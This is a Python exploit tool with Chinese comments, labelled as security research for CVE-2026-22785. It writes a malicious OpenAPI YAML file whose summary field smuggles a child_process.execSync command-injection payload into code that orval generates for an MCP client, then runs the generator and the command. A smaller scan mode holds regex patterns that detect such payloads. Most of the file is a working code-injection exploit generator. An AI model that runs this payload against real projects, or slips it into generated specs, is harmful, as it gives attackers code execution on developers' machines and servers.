#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-22785 安全研究工具
仅用于安全研究和教育目的
"""

import re
import sys
import argparse
import subprocess
from pathlib import Path


class CVETool:
    def __init__(self):
        self.work_dir = Path(__file__).parent
        self.exploit_dir = self.work_dir / 'exploit'

    def exploit(self, command: str):
        """执行漏洞利用"""
        # 生成恶意 OpenAPI
        payload = f"API.' + require('child_process').execSync('{command}', {{}}),//"
        yaml = f'''openapi: 3.0.0
info:
  title: Exploit
  version: 1.0.0
paths:
  /api/demo:
    get:
      summary: "{payload.replace('"', '\\"')}"
      responses:
        '200':
          description: OK
'''
        (self.exploit_dir / 'malicious-openapi.yaml').write_text(yaml)

        # orval 生成代码
        subprocess.run(
            ['npx', 'orval', '-i', 'malicious-openapi.yaml', '-o', 'gen.mjs', '--client', 'mcp'],
            cwd=self.exploit_dir, shell=True, capture_output=True
        )

        # 扫描
        gen_file = self.exploit_dir / 'gen.mjs'
        if gen_file.exists():
            content = gen_file.read_text(encoding='utf-8')
            if 'child_process' in content:
                print(f"[+] CVE-2026-22785: Payload 注入成功")

        # 显示注入点
        server_file = self.exploit_dir / 'server.ts'
        if server_file.exists():
            for i, line in enumerate(server_file.read_text(encoding='utf-8').split('\n'), 1):
                if 'child_process' in line:
                    print(f"[+] 注入位置: server.ts:{i}")
                    break

        # 执行命令
        subprocess.run(command, shell=True, cwd=self.exploit_dir)

    def scan(self, file_path: str):
        """扫描文件"""
        path = Path(file_path)
        if not path.exists():
            print(f"[!] 文件不存在: {file_path}")
            return

        content = path.read_text(encoding='utf-8')
        patterns = {
            'CRITICAL': r'child_process|execSync|spawn|eval\(',
            'HIGH': r'fs\.|readFile|writeFile|fetch\(',
        }

        for severity, pattern in patterns.items():
            if re.search(pattern, content):
                print(f"[!] 检测到 {severity} 级别恶意模式")
                if 'child_process' in content:
                    print("[!] CVE-2026-22785 漏洞利用样本!")
                return


def main():
    parser = argparse.ArgumentParser(description='CVE-2026-22785 安全研究工具')
    parser.add_argument('command', choices=['scan', 'shell'])
    parser.add_argument('target', help='命令或文件路径')
    args = parser.parse_args()

    tool = CVETool()

    if args.command == 'shell':
        tool.exploit(args.target)
    elif args.command == 'scan':
        tool.scan(args.target)


if __name__ == '__main__':
    main()